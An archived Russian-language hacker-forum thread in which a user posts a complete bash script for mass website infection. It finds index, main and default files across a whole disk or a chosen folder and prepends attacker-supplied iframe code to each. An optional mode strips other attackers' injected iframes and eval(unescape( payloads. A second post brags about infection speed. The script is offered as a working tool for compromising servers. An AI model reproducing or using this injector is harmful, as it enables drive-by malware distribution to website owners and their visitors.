PDA

Просмотр полной версии : mystery iframer[local bash]


Ky3bMu4
02.03.2008, 16:44
Написал небольшой локальный iframer на bash`е. Кроме самого баша ничего не требует. Вставляет код в начало файла(index/main/default).
Позволяет выбрать весь диск для ифрейма(нужен root) или же отдельную папку, есть функция убийсива чужых фреймов(через обрезание '<iframe' и 'eval(unescape(' ),но она использует sed(но он вроде везде есть :D ).


#!/bin/bash

use(){
echo "Using: $0 [file with iframe-code] [killing othen iframes(1/0)]"
echo " $0 [file with iframe-code] [directory to iframe] [killing othen iframes(1/0)]"
exit 1
}

#Функции для ифрейма(kill/nokill). Разделены на 2 функции в целях увеличения скорости
#$1 - файл для инфрейма
iframe_nokill(){
file=`cat $1`
echo "$code" > $1
echo -n $file >> $1
}

iframe_kill(){
file=`cat $1`
file=`echo ${file[@]} | sed "s/<iframe//g" | sed "s/eval(unescape(//g"`
echo "$code" > $1
echo -n $file >> $1
}

path='/'
if [ $# = 2 ]; then
kill=$2
if [ $UID != 0 ]; then
echo "I need root to iframe /"
exit 1
fi
elif [ $# = 3 ]; then
path=$2
kill=$3
else
echo "Invalid argc!"
use
fi

#ищем индексовые файлы
find $path -name "index*" 2> /dev/null > /tmp/.files
find $path -name "main*" 2> /dev/null >> /tmp/.files
find $path -name "default*" 2> /dev/null >> /tmp/.files

code=`cat $1`
files=`cat /tmp/.files`

#Циклы тоже разделены в целях увеличения скорости
if [ "$kill" = 0 ]; then #без убийства
for i in ${files[@]/\r\n//}
do
iframe_nokill $i
done
else #с убийством
for i in ${files[@]/\r\n//}
do
iframe_kill $i
done
fi

rm /tmp/.files

exit 0

Ky3bMu4
03.03.2008, 13:57
Опять никто не отписывается :) . Немного потестил на предмет производительности - инфреймит 23 60кбайтных меньше чем за 1сек.